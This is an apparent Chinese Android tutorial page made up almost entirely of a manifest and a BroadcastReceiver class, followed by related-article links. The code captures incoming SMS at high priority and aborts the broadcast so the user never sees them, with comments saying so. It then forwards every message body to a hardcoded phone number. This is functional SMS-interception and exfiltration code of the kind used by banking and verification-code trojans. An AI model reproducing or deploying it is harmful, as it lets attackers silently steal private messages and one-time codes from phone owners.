拦截短信和发送短信都需要相关的权限:

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.example.sms"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="9"        android:targetSdkVersion="10" />    <!-- 接收 短信和发送短信的权限 -->    <uses-permission android:name="android.permission.RECEIVE_SMS" />    <uses-permission android:name="android.permission.SEND_SMS" />    <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <!-- 拦截用户短信:短信广播地址:android.provider.Telephony.SMS_RECEIVED -->        <receiver android:name=".SMSReceiver" >            <intent-filter android:priority="700" >                <action android:name="android.provider.Telephony.SMS_RECEIVED" />            </intent-filter>        </receiver>    </application></manifest>


主程序入口:使用广播监听系统短信


package com.example.sms;import android.app.PendingIntent;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;import android.widget.Toast;/** * 拦截用于短信 *  * @author Administrator *  */public class SMSReceiver extends BroadcastReceiver {public void onReceive(Context context, Intent intent) {if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { // 判断是否为短信的广播abortBroadcast(); // 终止广播的继续传播// 得到拦截的短信内容信息 -- 这里可以终止广播的传递,让用户收不到短信Bundle bundle = intent.getExtras();// 通过 pdus 获取到接收到的所有短信息Object[] obj = (Object[]) bundle.get("pdus");// 构建短信Array , 根据收到信息的数据数SmsMessage[] smss = new SmsMessage[obj.length];// 将获取到的短信消息全部封装到 SmsMessage[] 数组对象中for (int i = 0; i < obj.length; i++) {smss[i] = SmsMessage.createFromPdu((byte[]) obj[i]); //}StringBuilder builder = new StringBuilder(); // 保存数据PendingIntent pid = PendingIntent.getBroadcast(context, 0,new Intent(), 0);SmsManager smsManager = SmsManager.getDefault(); // 获取管理对象// 取出每一条信息for (SmsMessage sms : smss) {String address = sms.getDisplayOriginatingAddress(); // 来源String content = sms.getDisplayMessageBody(); // 获得短信内容Log.i("msg", "执行了...来源:" + address);Toast.makeText(context, "发送者:" + address + "\n 内容:" + content,Toast.LENGTH_LONG).show();// 自动发送短信://参数:1、目的号码 ; 2、短信服务中心号码  ,null表示默认; 3、短信内容; 4、发送短信结果内容 ; 5、发送短信到目地后的回复信息smsManager.sendTextMessage("15555215558", null, content, pid, null);}}}}

更多相关文章

  1. android权限设置
  2. Android的权限机制总结
  3. android 权限大全
  4. android关闭或开启移动网络数据(关闭后,设备不可以上网,但可以打电
  5. Android 获取屏幕宽度、高度、dpi等信息
  6. Android 所有可访问的权限
  7. android短信服务

随机推荐

  1. PHP - 将字符串转换为键值数组
  2. ajax在php页面上获得一个值的结果
  3. php穷举思维探究百钱白鸡问题
  4. PHP用空格分割文本为数组的方法
  5. 定制安全的PHP环境
  6. 【PHP】一个setcookie的bug整死我了
  7. 如何防止.htaccess重定向中的一个文件?
  8. PHP中WEB典型应用技术
  9. mysqli类使用预处理语句不返回任何数据
  10. (T_ENCAPSED_AND_WHITESPACE),期望标识符(